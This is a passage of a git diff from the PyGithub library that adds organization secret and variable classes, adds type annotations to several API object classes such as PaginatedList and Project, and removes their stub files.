mode 100644 index 0000000000..79f486758e --- /dev/null +++ b/github/OrganizationSecret.py @@ -0,0 +1,143 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Mauricio Alejandro Martínez Pacheco # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from datetime import datetime +from typing import Any, Dict, List + +from github.GithubObject import Attribute, NotSet +from github.PaginatedList import PaginatedList +from github.Repository import Repository +from github.Secret import Secret + + +class OrganizationSecret(Secret): + """ + This class represents a org level GitHub secret. The reference can be found here https://docs.github.com/en/rest/actions/secrets + """ + + def _initAttributes(self) -> None: + self._name: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._visibility: Attribute[str] = NotSet + self._selected_repositories: Attribute[PaginatedList[Repository]] = NotSet + self._selected_repositories_url: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + + @property + def visibility(self) -> str: + """ + :type: string + """ + self._completeIfNotSet(self._visibility) + return self._visibility.value + + @property + def selected_repositories(self) -> PaginatedList[Repository]: + return PaginatedList( + Repository, + self._requester, + self._selected_repositories_url.value, + None, + list_item="repositories", + ) + + def edit( + self, + value: str, + visibility: str = "all", + ) -> bool: + """ + :calls: `PATCH /orgs/{org}/actions/secrets/{variable_name} `_ + :param variable_name: string + :param value: string + :param visibility: string + :rtype: bool + """ + assert isinstance(value, str), value + assert isinstance(visibility, str), visibility + + patch_parameters: Dict[str, Any] = { + "name": self.name, + "value": value, + "visibility": visibility, + } + + status, _, _ = self._requester.requestJson( + "PATCH", + f"{self.url}/actions/secrets/{self.name}", + input=patch_parameters, + ) + return status == 204 + + def add_repo(self, repo: Repository) -> bool: + """ + :calls: 'PUT {org_url}/actions/secrets/{secret_name} `_ + :param repo: github.Repository.Repository + :rtype: bool + """ + if self.visibility != "selected": + return False + self._requester.requestJsonAndCheck("PUT", f"{self._selected_repositories_url.value}/{repo.id}") + return True + + def remove_repo(self, repo: Repository) -> bool: + """ + :calls: 'DELETE {org_url}/actions/secrets/{secret_name} `_ + :param repo: github.Repository.Repository + :rtype: bool + """ + if self.visibility != "selected": + return False + self._requester.requestJsonAndCheck("DELETE", f"{self._selected_repositories_url.value}/{repo.id}") + return True + + def set_repos(self, selected_repository_ids: List[int]) -> None: + """ + :calls: `PUT /orgs/{org}/actions/secrets/{secret_name}/repositories `_ + :param selected_repository_ids: list of int + """ + + assert isinstance(selected_repository_ids, list) and all( + isinstance(repo_id, int) for repo_id in selected_repository_ids + ), selected_repository_ids + + _headers, _data = self._requester.requestJsonAndCheck( + "PUT", + f"{self.url}/repositories", + input={"selected_repository_ids": selected_repository_ids}, + ) + + def _useAttributes(self, attributes: Dict[str, Any]) -> None: + if "name" in attributes: + self._name = self._makeStringAttribute(attributes["name"]) + if "created_at" in attributes: + self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) + if "updated_at" in attributes: + self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) + if "visibility" in attributes: + self._visibility = self._makeStringAttribute(attributes["visibility"]) + if "selected_repositories_url" in attributes: + self._selected_repositories_url = self._makeStringAttribute(attributes["selected_repositories_url"]) + if "url" in attributes: + self._url = self._makeStringAttribute(attributes["url"]) diff --git a/github/OrganizationVariable.py b/github/OrganizationVariable.py new file mode 100644 index 0000000000..bea19fbb89 --- /dev/null +++ b/github/OrganizationVariable.py @@ -0,0 +1,127 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Mauricio Alejandro Martínez Pacheco # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from datetime import datetime +from typing import Any, Dict + +from github.GithubObject import Attribute, NotSet +from github.PaginatedList import PaginatedList +from github.Repository import Repository +from github.Variable import Variable + + +class OrganizationVariable(Variable): + """ + This class represents a org level GitHub variable. The reference can be found here https://docs.github.com/en/rest/actions/variables + """ + + def _initAttributes(self) -> None: + self._name: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._visibility: Attribute[str] = NotSet + self._selected_repositories: Attribute[PaginatedList[Repository]] = NotSet + self._selected_repositories_url: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + + @property + def visibility(self) -> str: + """ + :type: string + """ + self._completeIfNotSet(self._visibility) + return self._visibility.value + + @property + def selected_repositories(self) -> PaginatedList[Repository]: + return PaginatedList( + Repository, + self._requester, + self._selected_repositories_url.value, + None, + list_item="repositories", + ) + + def edit( + self, + value: str, + visibility: str = "all", + ) -> bool: + """ + :calls: `PATCH /orgs/{org}/actions/variables/{variable_name} `_ + :param variable_name: string + :param value: string + :param visibility: string + :rtype: bool + """ + assert isinstance(value, str), value + assert isinstance(visibility, str), visibility + + patch_parameters: Dict[str, Any] = { + "name": self.name, + "value": value, + "visibility": visibility, + } + + status, _, _ = self._requester.requestJson( + "PATCH", + f"{self.url}/actions/variables/{self.name}", + input=patch_parameters, + ) + return status == 204 + + def add_repo(self, repo: Repository) -> bool: + """ + :calls: 'PUT {org_url}/actions/variables/{variable_name} `_ + :param repo: github.Repository.Repository + :rtype: bool + """ + if self.visibility != "selected": + return False + self._requester.requestJsonAndCheck("PUT", f"{self._selected_repositories_url.value}/{repo.id}") + return True + + def remove_repo(self, repo: Repository) -> bool: + """ + :calls: 'DELETE {org_url}/actions/variables/{variable_name} `_ + :param repo: github.Repository.Repository + :rtype: bool + """ + if self.visibility != "selected": + return False + self._requester.requestJsonAndCheck("DELETE", f"{self._selected_repositories_url.value}/{repo.id}") + return True + + def _useAttributes(self, attributes: Dict[str, Any]) -> None: + if "name" in attributes: + self._name = self._makeStringAttribute(attributes["name"]) + if "created_at" in attributes: + self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) + if "updated_at" in attributes: + self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) + if "visibility" in attributes: + self._visibility = self._makeStringAttribute(attributes["visibility"]) + if "selected_repositories_url" in attributes: + self._selected_repositories_url = self._makeStringAttribute(attributes["selected_repositories_url"]) + if "url" in attributes: + self._url = self._makeStringAttribute(attributes["url"]) diff --git a/github/Package.py b/github/Package.py index 9720e10a57..8b90d9cb5e 100644 --- a/github/Package.py +++ b/github/Package.py @@ -1,36 +1,35 @@ -import github.Commit -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class Package(github.GithubObject.NonCompletableGithubObject): + +class Package(NonCompletableGithubObject): """ This class represents Package. The reference can be found here in the alert https://docs.github.com/en/rest/dependabot/alerts?#list-dependabot-alerts-for-a-repository """ - def __repr__(self): - return self.get__repr__( - {"ecosystem": self._ecosystem.value, "name": self._name.value} - ) + def __repr__(self) -> str: + return self.get__repr__({"ecosystem": self._ecosystem.value, "name": self._name.value}) @property - def ecosystem(self): + def ecosystem(self) -> str: """ :type: string """ return self._ecosystem.value @property - def name(self): + def name(self) -> str: """ :type: string """ return self._name.value - def _initAttributes(self): - self._ecosystem = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet + def _initAttributes(self) -> None: + self._ecosystem: Attribute[str] = NotSet + self._name: Attribute[str] = NotSet - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "ecosystem" in attributes: # pragma no branch self._ecosystem = self._makeStringAttribute(attributes["ecosystem"]) if "name" in attributes: # pragma no branch diff --git a/github/Package.pyi b/github/Package.pyi deleted file mode 100644 index e2f75b144b..0000000000 --- a/github/Package.pyi +++ /dev/null @@ -1,12 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class Package(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def ecosystem(self) -> str: ... - @property - def name(self) -> str: ... diff --git a/github/PaginatedList.py b/github/PaginatedList.py index f3524e4ec2..0c4502627e 100644 --- a/github/PaginatedList.py +++ b/github/PaginatedList.py @@ -14,8 +14,22 @@ # Copyright 2017 Jannis Gebauer # # Copyright 2018 Gilad Shefer # # Copyright 2018 Joel Koglin # +# Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # +# Copyright 2018 netsgnut <284779+netsgnut@users.noreply.github.com> # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Emir Hodzic # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# Copyright 2023 YugoHino # +# Copyright 2024 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -35,14 +49,28 @@ # # ################################################################################ +from typing import Any, Callable, Dict, Generic, Iterator, List, Optional, Type, TypeVar, Union from urllib.parse import parse_qs +from github.GithubObject import GithubObject +from github.Requester import Requester -class PaginatedListBase: - def __init__(self): - self.__elements = list() +T = TypeVar("T", bound=GithubObject) - def __getitem__(self, index): + +class PaginatedListBase(Generic[T]): + __elements: List[T] + + def _couldGrow(self) -> bool: + raise NotImplementedError + + def _fetchNextPage(self) -> List[T]: + raise NotImplementedError + + def __init__(self, elements: Optional[List[T]] = None) -> None: + self.__elements = [] if elements is None else elements + + def __getitem__(self, index: Union[int, slice]) -> Any: assert isinstance(index, (int, slice)) if isinstance(index, int): self.__fetchToIndex(index) @@ -50,32 +78,32 @@ def __getitem__(self, index): else: return self._Slice(self, index) - def __iter__(self): + def __iter__(self) -> Iterator[T]: yield from self.__elements while self._couldGrow(): newElements = self._grow() yield from newElements - def _isBiggerThan(self, index): + def _isBiggerThan(self, index: int) -> bool: return len(self.__elements) > index or self._couldGrow() - def __fetchToIndex(self, index): + def __fetchToIndex(self, index: int) -> None: while len(self.__elements) <= index and self._couldGrow(): self._grow() - def _grow(self): + def _grow(self) -> List[T]: newElements = self._fetchNextPage() self.__elements += newElements return newElements class _Slice: - def __init__(self, theList, theSlice): + def __init__(self, theList: "PaginatedListBase[T]", theSlice: slice): self.__list = theList self.__start = theSlice.start or 0 self.__stop = theSlice.stop self.__step = theSlice.step or 1 - def __iter__(self): + def __iter__(self) -> Iterator[T]: index = self.__start while not self.__finished(index): if self.__list._isBiggerThan(index): @@ -84,11 +112,11 @@ def __iter__(self): else: return - def __finished(self, index): + def __finished(self, index: int) -> bool: return self.__stop is not None and index >= self.__stop -class PaginatedList(PaginatedListBase): +class PaginatedList(PaginatedListBase[T]): """ This class abstracts the `pagination of the API `_. @@ -119,14 +147,17 @@ class PaginatedList(PaginatedListBase): def __init__( self, - contentClass, - requester, - firstUrl, - firstParams, - headers=None, - list_item="items", + contentClass: Type[T], + requester: Requester, + firstUrl: str, + firstParams: Any, + headers: Optional[Dict[str, str]] = None, + list_item: str = "items", + total_count_item: str = "total_count", + firstData: Optional[Any] = None, + firstHeaders: Optional[Dict[str, Union[str, int]]] = None, + attributesTransformer: Optional[Callable[[Dict[str, Any]], Dict[str, Any]]] = None, ): - super().__init__() self.__requester = requester self.__contentClass = contentClass self.__firstUrl = firstUrl @@ -135,13 +166,25 @@ def __init__( self.__nextParams = firstParams or {} self.__headers = headers self.__list_item = list_item + self.__total_count_item = total_count_item if self.__requester.per_page != 30: self.__nextParams["per_page"] = self.__requester.per_page self._reversed = False - self.__totalCount = None + self.__totalCount: Optional[int] = None + self._attributesTransformer = attributesTransformer + + first_page = [] + if firstData is not None and firstHeaders is not None: + first_page = self._getPage(firstData, firstHeaders) + super().__init__(first_page) + + def _transformAttributes(self, element: Dict[str, Any]) -> Dict[str, Any]: + if self._attributesTransformer is None: + return element + return self._attributesTransformer(element) @property - def totalCount(self): + def totalCount(self) -> int: if not self.__totalCount: params = {} if self.__nextParams is None else self.__nextParams.copy() # set per_page = 1 so the totalCount is just the number of pages @@ -165,18 +208,17 @@ def totalCount(self): self.__totalCount = int(parse_qs(lastUrl)["page"][0]) else: self.__totalCount = 0 - return self.__totalCount + return self.__totalCount # type: ignore - def _getLastPageUrl(self): + def _getLastPageUrl(self) -> Optional[str]: headers, data = self.__requester.requestJsonAndCheck( "GET", self.__firstUrl, parameters=self.__nextParams, headers=self.__headers ) links = self.__parseLinkHeader(headers) - lastUrl = links.get("last") - return lastUrl + return links.get("last") @property - def reversed(self): + def reversed(self) -> "PaginatedList[T]": r = PaginatedList( self.__contentClass, self.__requester, @@ -184,26 +226,29 @@ def reversed(self): self.__firstParams, self.__headers, self.__list_item, + attributesTransformer=self._attributesTransformer, ) r.__reverse() return r - def __reverse(self): + def __reverse(self) -> None: self._reversed = True lastUrl = self._getLastPageUrl() if lastUrl: self.__nextUrl = lastUrl - def _couldGrow(self): + def _couldGrow(self) -> bool: return self.__nextUrl is not None - def _fetchNextPage(self): + def _fetchNextPage(self) -> List[T]: headers, data = self.__requester.requestJsonAndCheck( "GET", self.__nextUrl, parameters=self.__nextParams, headers=self.__headers ) data = data if data else [] + return self._getPage(data, headers) - self.__nextUrl = None + def _getPage(self, data: Any, headers: Dict[str, Any]) -> List[T]: + self.__nextUrl = None # type: ignore if len(data) > 0: links = self.__parseLinkHeader(headers) if self._reversed: @@ -212,13 +257,11 @@ def _fetchNextPage(self): elif "next" in links: self.__nextUrl = links["next"] self.__nextParams = None - if self.__list_item in data: - self.__totalCount = data.get("total_count") + self.__totalCount = data.get(self.__total_count_item) data = data[self.__list_item] - content = [ - self.__contentClass(self.__requester, headers, element, completed=False) + self.__contentClass(self.__requester, headers, self._transformAttributes(element), completed=False) for element in data if element is not None ] @@ -226,7 +269,7 @@ def _fetchNextPage(self): return content[::-1] return content - def __parseLinkHeader(self, headers): + def __parseLinkHeader(self, headers: Dict[str, str]) -> Dict[str, str]: links = {} if "link" in headers: linkHeaders = headers["link"].split(", ") @@ -237,7 +280,7 @@ def __parseLinkHeader(self, headers): links[rel] = url return links - def get_page(self, page): + def get_page(self, page: int) -> List[T]: params = dict(self.__firstParams) if page != 0: params["page"] = page + 1 @@ -250,8 +293,27 @@ def get_page(self, page): if self.__list_item in data: self.__totalCount = data.get("total_count") data = data[self.__list_item] - return [ - self.__contentClass(self.__requester, headers, element, completed=False) + self.__contentClass(self.__requester, headers, self._transformAttributes(element), completed=False) for element in data ] + + @classmethod + def override_attributes(cls, overrides: Dict[str, Any]) -> Callable[[Dict[str, Any]], Dict[str, Any]]: + def attributes_transformer(element: Dict[str, Any]) -> Dict[str, Any]: + # Recursively merge overrides with attributes, overriding attributes with overrides + element = cls.merge_dicts(element, overrides) + return element + + return attributes_transformer + + @classmethod + def merge_dicts(cls, d1: Dict[str, Any], d2: Dict[str, Any]) -> Dict[str, Any]: + # clone d1 + d1 = d1.copy() + for k, v in d2.items(): + if isinstance(v, dict): + d1[k] = cls.merge_dicts(d1.get(k, {}), v) + else: + d1[k] = v + return d1 diff --git a/github/PaginatedList.pyi b/github/PaginatedList.pyi deleted file mode 100644 index f66257a8a4..0000000000 --- a/github/PaginatedList.pyi +++ /dev/null @@ -1,42 +0,0 @@ -from typing import Any, Dict, Generic, Iterator, List, Optional, Type, TypeVar, Union - -from github.ContentFile import ContentFile -from github.GithubObject import GithubObject -from github.Issue import Issue -from github.NamedUser import NamedUser -from github.Requester import Requester - -T = TypeVar("T", bound=GithubObject) - -class PaginatedListBase(Generic[T]): - def __getitem__(self, index: Union[int, slice]) -> Any: ... - def __init__(self) -> None: ... - def __iter__(self) -> Iterator[T]: ... - def _grow(self) -> Any: ... - def _isBiggerThan(self, index: int) -> bool: ... - - class _Slice: - def __init__(self, theList: PaginatedList[T], theSlice: slice) -> None: ... - def __iter__(self) -> Iterator[T]: ... - def __finished(self, index: int) -> bool: ... - -class PaginatedList(PaginatedListBase[T]): - def __init__( - self, - contentClass: Type[T], - requester: Requester, - firstUrl: str, - firstParams: Any, - headers: Optional[Dict[str, str]] = ..., - list_item: str = ..., - ) -> None: ... - def __reverse(self) -> None: ... - def __parseLinkHeader(self, headers: Dict[str, str]) -> None: ... - def _couldGrow(self) -> bool: ... - def _fetchNextPage(self) -> Any: ... - def _getLastPageUrl(self) -> Optional[str]: ... - def get_page(self, page: int) -> List[Any]: ... - @property - def reversed(self) -> PaginatedList[T]: ... - @property - def totalCount(self) -> int: ... diff --git a/github/Path.py b/github/Path.py index e1d26b96d6..ecf094bda9 100644 --- a/github/Path.py +++ b/github/Path.py @@ -1,10 +1,21 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # # Copyright 2018 Justin Kufro # -# Copyright 2018 Ivan Minno # -# Copyright 2018 Zilei Gu # -# Copyright 2018 Yves Zumbach # -# Copyright 2018 Leying Chen # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,16 +35,24 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class Path(github.GithubObject.NonCompletableGithubObject): + +class Path(NonCompletableGithubObject): """ This class represents a popular Path for a GitHub repository. The reference can be found here https://docs.github.com/en/rest/reference/repos#traffic """ - def __repr__(self): + def _initAttributes(self) -> None: + self._path: Attribute[str] = NotSet + self._title: Attribute[str] = NotSet + self._count: Attribute[int] = NotSet + self._uniques: Attribute[int] = NotSet + + def __repr__(self) -> str: return self.get__repr__( { "path": self._path.value, @@ -44,40 +63,22 @@ def __repr__(self): ) @property - def path(self): - """ - :type: string - """ + def path(self) -> str: return self._path.value @property - def title(self): - """ - :type: string - """ + def title(self) -> str: return self._title.value @property - def count(self): - """ - :type: integer - """ + def count(self) -> int: return self._count.value @property - def uniques(self): - """ - :type: integer - """ + def uniques(self) -> int: return self._uniques.value - def _initAttributes(self): - self._path = github.GithubObject.NotSet - self._title = github.GithubObject.NotSet - self._count = github.GithubObject.NotSet - self._uniques = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "path" in attributes: # pragma no branch self._path = self._makeStringAttribute(attributes["path"]) if "title" in attributes: # pragma no branch diff --git a/github/Path.pyi b/github/Path.pyi deleted file mode 100644 index cd4a00440f..0000000000 --- a/github/Path.pyi +++ /dev/null @@ -1,16 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class Path(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def count(self) -> int: ... - @property - def path(self) -> str: ... - @property - def title(self) -> str: ... - @property - def uniques(self) -> int: ... diff --git a/github/Permissions.py b/github/Permissions.py index 9fc257355d..e7bd6b573e 100644 --- a/github/Permissions.py +++ b/github/Permissions.py @@ -9,6 +9,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 karsten-wagner <39054096+karsten-wagner@users.noreply.github.com># +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,15 +34,24 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class Permissions(github.GithubObject.NonCompletableGithubObject): + +class Permissions(NonCompletableGithubObject): """ This class represents Permissions """ - def __repr__(self): + def _initAttributes(self) -> None: + self._admin: Attribute[bool] = NotSet + self._maintain: Attribute[bool] = NotSet + self._pull: Attribute[bool] = NotSet + self._push: Attribute[bool] = NotSet + self._triage: Attribute[bool] = NotSet + + def __repr__(self) -> str: return self.get__repr__( { "admin": self._admin.value, @@ -48,48 +63,26 @@ def __repr__(self): ) @property - def admin(self): - """ - :type: bool - """ + def admin(self) -> bool: return self._admin.value @property - def maintain(self): - """ - :type: bool - """ + def maintain(self) -> bool: return self._maintain.value @property - def pull(self): - """ - :type: bool - """ + def pull(self) -> bool: return self._pull.value @property - def push(self): - """ - :type: bool - """ + def push(self) -> bool: return self._push.value @property - def triage(self): - """ - :type: bool - """ + def triage(self) -> bool: return self._triage.value - def _initAttributes(self): - self._admin = github.GithubObject.NotSet - self._maintain = github.GithubObject.NotSet - self._pull = github.GithubObject.NotSet - self._push = github.GithubObject.NotSet - self._triage = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "admin" in attributes: # pragma no branch self._admin = self._makeBoolAttribute(attributes["admin"]) if "maintain" in attributes: # pragma no branch diff --git a/github/Permissions.pyi b/github/Permissions.pyi deleted file mode 100644 index 8077642120..0000000000 --- a/github/Permissions.pyi +++ /dev/null @@ -1,18 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class Permissions(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def admin(self) -> bool: ... - @property - def maintain(self) -> bool: ... - @property - def pull(self) -> bool: ... - @property - def push(self) -> bool: ... - @property - def triage(self) -> bool: ... diff --git a/github/Plan.py b/github/Plan.py index 6bbbbfe3e8..34e948cb76 100644 --- a/github/Plan.py +++ b/github/Plan.py @@ -9,6 +9,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Geoff Low # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,68 +34,52 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class Plan(github.GithubObject.NonCompletableGithubObject): + +class Plan(NonCompletableGithubObject): """ This class represents Plans """ - def __repr__(self): + def _initAttributes(self) -> None: + self._collaborators: Attribute[int] = NotSet + self._name: Attribute[str] = NotSet + self._private_repos: Attribute[int] = NotSet + self._space: Attribute[int] = NotSet + self._filled_seats: Attribute[int] = NotSet + self._seats: Attribute[int] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property - def collaborators(self): - """ - :type: integer - """ + def collaborators(self) -> int: return self._collaborators.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: return self._name.value @property - def private_repos(self): - """ - :type: integer - """ + def private_repos(self) -> int: return self._private_repos.value @property - def space(self): - """ - :type: integer - """ + def space(self) -> int: return self._space.value @property - def filled_seats(self): - """ - :type: integer - """ + def filled_seats(self) -> int: return self._filled_seats.value @property - def seats(self): - """ - :type: integer - """ + def seats(self) -> int: return self._seats.value - def _initAttributes(self): - self._collaborators = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._private_repos = github.GithubObject.NotSet - self._space = github.GithubObject.NotSet - self._filled_seats = github.GithubObject.NotSet - self._seats = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "collaborators" in attributes: # pragma no branch self._collaborators = self._makeIntAttribute(attributes["collaborators"]) if "name" in attributes: # pragma no branch diff --git a/github/Plan.pyi b/github/Plan.pyi deleted file mode 100644 index 5003557516..0000000000 --- a/github/Plan.pyi +++ /dev/null @@ -1,16 +0,0 @@ -from typing import Any, Dict, Union - -from github.GithubObject import NonCompletableGithubObject - -class Plan(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def collaborators(self) -> int: ... - @property - def name(self) -> str: ... - @property - def private_repos(self) -> int: ... - @property - def space(self) -> int: ... diff --git a/github/Project.py b/github/Project.py index f0da8b4ef0..9e8f3ab2af 100644 --- a/github/Project.py +++ b/github/Project.py @@ -1,6 +1,28 @@ ############################ Copyrights and license ############################ # # -# Copyright 2018 bbi-yggy # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2017 Chris McBride # +# Copyright 2017 Simon # +# Copyright 2018 Benoit Latinier # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 Yossarian King # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Anuj Bansal # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Lars Kellogg-Stedman # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,128 +42,110 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.GithubObject +import github.NamedUser import github.ProjectColumn - -from . import Consts +from github import Consts +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt +from github.PaginatedList import PaginatedList -class Project(github.GithubObject.CompletableGithubObject): +class Project(CompletableGithubObject): """ This class represents Projects. The reference can be found here https://docs.github.com/en/rest/reference/projects """ - def __repr__(self): + def _initAttributes(self) -> None: + self._body: Attribute[str] = NotSet + self._columns_url: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._creator: Attribute[github.NamedUser.NamedUser] = NotSet + self._html_url: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._name: Attribute[str] = NotSet + self._node_id: Attribute[str] = NotSet + self._number: Attribute[int] = NotSet + self._owner_url: Attribute[str] = NotSet + self._state: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property - def body(self): - """ - :type: string - """ + def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property - def columns_url(self): - """ - :type: string - """ + def columns_url(self) -> str: self._completeIfNotSet(self._columns_url) return self._columns_url.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def creator(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def creator(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._creator) return self._creator.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property - def node_id(self): - """ - :type: string - """ + def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property - def number(self): - """ - :type: integer - """ + def number(self) -> int: self._completeIfNotSet(self._number) return self._number.value @property - def owner_url(self): - """ - :type: string - """ + def owner_url(self) -> str: self._completeIfNotSet(self._owner_url) return self._owner_url.value @property - def state(self): - """ - :type: string - """ + def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /projects/{project_id} `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck( "DELETE", self.url, headers={"Accept": Consts.mediaTypeProjectsPreview} @@ -149,41 +153,30 @@ def delete(self): def edit( self, - name=github.GithubObject.NotSet, - body=github.GithubObject.NotSet, - state=github.GithubObject.NotSet, - organization_permission=github.GithubObject.NotSet, - private=github.GithubObject.NotSet, - ): + name: Opt[str] = NotSet, + body: Opt[str] = NotSet, + state: Opt[str] = NotSet, + organization_permission: Opt[str] = 